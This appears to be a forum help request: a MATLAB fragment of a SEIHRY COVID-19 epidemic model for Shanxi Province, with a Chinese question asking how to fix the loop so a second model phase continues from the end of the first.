S(i+1)=(-(beta+q2*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m5*I(i))*h+I(i); H(i+1)=(m5*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end A(1)=I(1); for j=2:length(ME) A(j)=I((j-1)*h1+1)+27; end figure(2) t2=23:1:46; plot(t2,A(1,23:46),'c--','LineWidth',1.5); set(0,'defaultfigurecolor','w') xlabel('Time(Day)') title('Shanxi Province') ylim([0 240]); ylabel('Cumulative infected COVID-2019 cases') legend('Cumulative infected data','model simualition','m=0.05','m=0.01','m=0.03','m=0.07','m=0.09','Location','Best' ) set(gca,'XTicklabel',{'1.14','1.19','1.24','1.29','2.03','2.08','2.13','2.18','2.23','2.28','3.04'}) grid on hold off drawnow 好像是SEIHRY公式下面的for循环出现问题，但不知道应该怎么改，想要第二阶段连接到第一段末尾，并且改变第一阶段的参数不会影响到第二阶段